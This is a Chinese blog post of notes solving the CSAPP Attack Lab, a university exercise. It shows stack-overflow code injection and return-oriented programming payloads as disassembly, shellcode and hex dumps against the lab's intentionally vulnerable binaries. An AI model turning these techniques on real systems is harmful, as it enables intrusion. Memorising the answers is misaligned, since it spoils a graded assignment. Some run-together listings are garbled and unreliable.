拓十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

csapp:attack笔记

csapp:attack笔记

CSAPP:Attack Lab笔记

此文章用于记录Attack实验

1. 代码注入攻击

1.1 Level 1

test函数原型如下:

1voidtest()2{3intval;4val=getbuf();5printf("No exploit. Getbuf returned 0x%x\n",val);6}

getbuf函数反汇编如下:

(gdb)disas getbuf Dump of assembler codeforfunctiongetbuf: 0x00000000004017a8<+0>: sub$0x28,%rsp 0x00000000004017ac<+4>: mov %rsp,%rdi 0x00000000004017af<+7>: call 0x401a40<Gets>0x00000000004017b4<+12>: mov$0x1,%eax 0x00000000004017b9<+17>:add$0x28,%rsp 0x00000000004017bd<+21>: ret End of assembler dump.(gdb)

touch1函数反汇编如下:

00000000004017c0<touch1>: 4017c0:4883ec 08 sub$0x8,%rsp 4017c4: c7 05 0e 2d2000 01 movl$0x1,0x202d0e(%rip)# 6044dc <vlevel>4017cb: 00 00 00 4017ce: bf c5304000 mov$0x4030c5,%edi 4017d3: e8 e8 f4 ff ff call 400cc0<puts@plt>4017d8: bf 01 00 00 00 mov$0x1,%edi 4017dd: e8 ab 04 00 00 call 401c8d<validate>4017e2: bf 00 00 00 00 mov$0x0,%edi 4017e7: e854f6 ff ff call 400e40<exit@plt>

我们需要把rsp+0x28的位置改成0x4017c0,这样使用ret会跳转touch1并执行,填充地址还要注意小端序
最终的答案如下:

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd ./touch1 00000000:6162636465666768696a 6b6c 6d6f7071abcdefghijklmopq 00000010:6162636465666768696a 6b6c 6d6f7071abcdefghijklmopq 00000020: 6c6d 6f70 0000 0000 c01740000a lmop......@..

1.2 Level 2

要求我们先传参,再执行touch2
我的思路是把代码放进栈中,然后执行栈的代码,原汇编如下:

movq $0x6044e4,%rsi movq (%rsi),%rdi # 把cookie值传进去 pushq $0x4017ec # 这是touch2函数的首地址 ret

反汇编生成机器码如下:

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ objdump-d./touch2.o ./touch2.o: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000<.text>:0:48c7 c6 e4446000 mov$0x6044e4,%rsi7:488b 3e mov(%rsi),%rdi a:68ec174000 push$0x4017ecf: c3 ret

最终的机器码如下:

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd ./touch2 00000000: 48c7 c6e444600048 8b3e 68ec174000c3 H...D`.H.>h..@..00000010: 0000 0000 0000 0000 0000 0000 0000 0000................00000020: 0000 0000 0000 0000 78dc61550a........x.aU.

1.3 Level 3

要求我们找一个地方放字符串,一开始我使用了.rodata区域的地址,触发段错误,于是我使用了.data区域,首先查看.data区域的地址

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ objdump-s-j.data ./ctarget ./ctarget: 文件格式 elf64-x86-64 Contents of section .data:60412000000000 00000000 00000000 00000000................60413000000000 00000000 00000000 00000000................6041407830400000000000 01000000 00000000 x0@.............6041507e304000 000000008830400000000000 ~0@......0@.....6041609230400000000000 ab304000 00000000 .0@......0@.....60417000000000 00000000 00000000 00000000................60418000000000 00000000 00000000 00000000................60419000000000 00000000 00000000 00000000................6041a0 00000000 00000000 00000000 00000000................6041b0 00000000 00000000 00000000 00000000................6041c0 00000000 00000000 00000000 00000000................6041d0 00000000 00000000 00000000 00000000................6041e0 00000000 00000000 00000000 00000000................6041f0 00000000 00000000 00000000 00000000................60420000000000 00000000 00000000 00000000................60421000000000 00000000 00000000 00000000................60422000000000 00000000 00000000 00000000................60423000000000 00000000 00000000 00000000................60424000000000 00000000 00000000 00000000................60425000000000 00000000 00000000 00000000................60426000000000 00000000 00000000 00000000................60427000000000 00000000 00000000 00000000................60428000000000 00000000 00000000 00000000................60429000000000 00000000 00000000 00000000................6042a0 00000000 00000000 00000000 00000000................6042b0 00000000 00000000 00000000 00000000................6042c0 00000000 00000000 00000000 00000000................6042d0 00000000 00000000 00000000 00000000................6042e0 00000000 00000000 00000000 00000000................6042f0 00000000 00000000 00000000 00000000................60430000000000 00000000 00000000 00000000................60431000000000 00000000 00000000 00000000................60432000000000 00000000 00000000 00000000................60433000000000 00000000 00000000 00000000................60434000000000 00000000 00000000 00000000................60435000000000 00000000 00000000 00000000................60436000000000 00000000 00000000 00000000................60437000000000 00000000 00000000 00000000................60438000000000 00000000 00000000 00000000................60439000000000 00000000 00000000 00000000................6043a0 00000000 00000000 00000000 00000000................6043b0 00000000 00000000 00000000 00000000................6043c0 00000000 00000000 00000000 00000000................6043d0 00000000 00000000 00000000 00000000................6043e0 00000000 00000000 00000000 00000000................6043f0 00000000 00000000 00000000 00000000................60440000000000 00000000 00000000 00000000................60441000000000 00000000 00000000 00000000................60442000000000 00000000 00000000 00000000................60443000000000 00000000 00000000 00000000................60444000000000 00000000 00000000 00000000................60445000000000 00000000 00000000 00000000................60446000000000 00000000 00000000 00000000................60447000000000 00000000 00000000 00000000................60448000010000 00000000 01000000............

于是我选择了0x604170作为字符串首地址,汇编如下:

# 假设cookie对应的字符表示是 # 35 39 62 39 39 37 66 61 00 mov $0x604170,%rcx movl $0x39623935,(%rcx) movl $0x61663739,4(%rcx) movb $0x0,8(%rcx) mov %rcx,%rdi pushq $0x4018fa ret

反汇编如下:

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ objdump-d./touch3.o ./touch3.o: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000<.text>:0:48c7 c1703d4000 mov$0x403d70,%rcx7: c7 0139623935movl$0x35396239,(%rcx)d: c7410461663739movl$0x39376661,0x4(%rcx)14: c64108 00 movb$0x0,0x8(%rcx)18:4889cf mov %rcx,%rdi 1b:68fa184000 push$0x4018fa20: c3 ret

机器码如下:

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd touch3 00000000: 48c7 c170416000c7 0135396239c74104H..pA`...59b9.A. 00000010:39376661c641 08004889cf68 fa18400097fa.A..H..h..@. 00000020: c300 0000 0000 0000 78dc61550a........x.aU.

2. 面向返回编程

在这一阶段,栈随机化,栈内不能执行指令

2.1 Level 1

这一关,需要截取start_fram到end_fram序列片段,在这里,我选的字节序列是58 90 c3和48 89 c7 c3,对应的汇编指令是popq %rax ret和mov %rax,%rdi ret,截取的指令地址分别是0x4019cc和0x4019a2。
由于popq指令是rsp+0x8,所以字节序列是这样构造的

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd ./touch4 00000000: 0000 0000 0000 0000 0000 0000 0000 0000................00000010: 0000 0000 0000 0000 0000 0000 0000 0000................00000020: 0000 0000 0000 0000 cc1940000000 0000..........@..... 00000030: fa97 b959 0000 0000 a21940000000 0000...Y......@..... 00000040: ec1740000000 0000 0a..@......

2.2 Level 2

我本来是想把字符串放在.data区域,但是发现没有类似mov %rsp,(%rax)这样的指令,于是将其放在栈区域,汇编如下:

mov %rsp,%rax mov %rax,%rdi lea (%rax,%rsi,1),%rax mov %rax,%rdi callq touch3 其中rsi的值是0x30,于是字符串位置确定了

构造的序列如下:

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd touch5 00000000: 0000 0000 0000 0000 0000 0000 0000 0000................00000010: 0000 0000 0000 0000 0000 0000 0000 0000................00000020: 0000 0000 0000 0000 061a40000000 0000..........@..... 00000030: a21940000000 0000 d61940000000 0000..@.......@..... 00000040: a21940000000 0000 fa1840000000 0000..@.......@..... 00000050: 0000 0000 0000 0000 0000 0000 0000 0000................00000060:35396239393766610000 0000 0000 0000 59b997fa........00000070: 0a

但是这样会触发段错误,错误如下:

(gdb)ni Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7c88a69in__printf_buffer_init_end(mode=__printf_buffer_mode_sprintf_chk,end=<optimized out>,base=0x7fffffffacb7"",buf=0x7fffffffab68)at../include/printf_buffer.h:124 warning:124../include/printf_buffer.h: 没有那个文件或目录(gdb)x/i$pc=>0x7ffff7c88a69<__vsprintf_internal+89>: movaps %xmm0,-0x40(%rbp)(gdb)bt#0 0x00007ffff7c88a69 in __printf_buffer_init_end (mode=__printf_buffer_mode_sprintf_chk,end=<optimized out>,base=0x7fffffffacb7"",buf=0x7fffffffab68)at../include/printf_buffer.h:124#1 __vsprintf_internal (string=string@entry=0x7fffffffacb7 "",maxlen=maxlen@entry=18446744073709551615,format=0x403202"%.8x",args=args@entry=0x7fffffffabb8,mode_flags=mode_flags@entry=6)at ./libio/iovsprintf.c:54#2 0x00007ffff7d380ff in ___sprintf_chk (s=s@entry=0x7fffffffacb7 "", flag=flag@entry=1,slen=slen@entry=18446744073709551615,format=format@entry=0x403202"%.8x")at ./debug/sprintf_chk.c:40#3 0x00000000004018c4 in sprintf (__fmt=0x403202 "%.8x", __s=0x7fffffffacb7 "")at /usr/include/x86_64-linux-gnu/bits/stdio2.h:34#4 hexmatch (val=1505335290, sval=sval@entry=0x7fffffffad50 "59b997fa") at visible.c:66#5 0x0000000000401916 in touch3 (sval=0x7fffffffad50 "59b997fa") at visible.c:73#6 0x0000000000000000 in ?? ()(gdb)

触发段错误的指令是movaps %xmm0,-0x40(%rbp)。通过查资料,发现movaps要求内存地址十六地址对齐,所以再次需要ret,但是什么也不做,这里我选择执行start_farm函数。最终构造的序列如下:

pol@pol-Legion-Y7000P-IRX9:~/桌面/target1$ xxd touch5 00000000: 0000 0000 0000 0000 0000 0000 0000 0000................00000010: 0000 0000 0000 0000 0000 0000 0000 0000................00000020: 0000 0000 0000 0000 061a40000000 0000..........@..... 00000030: a21940000000 0000 d61940000000 0000..@.......@..... 00000040: a21940000000 0000941940000000 0000..@.......@..... 00000050: fa1840000000 0000 0000 0000 0000 0000..@............. 00000060:35396239393766610000 0000 0000 0000 59b997fa........00000070: 0a

参考资料

  1. 教材:Randal E. Bryant, David R. O’Hallaron.Computer Systems: A Programmer’s Perspective(Third Edition). 第 3 章《程序的机器级表示》(Machine-Level Representation of Programs),特别是 3.10 节“缓冲区溢出”(Buffer Overflow).
  2. 实验来源:Carnegie Mellon University (CMU) 15-213 / 18-213 / 15-513:Introduction to Computer Systems. Lab Assignment L3:Attack Lab (attacklab).
  3. 环境:Ubuntu 24.04 / GCC / VSCode + GDB 调试;辅助工具:objdump、hex2raw、ROPgadget 、Hex Editor等.

返回列表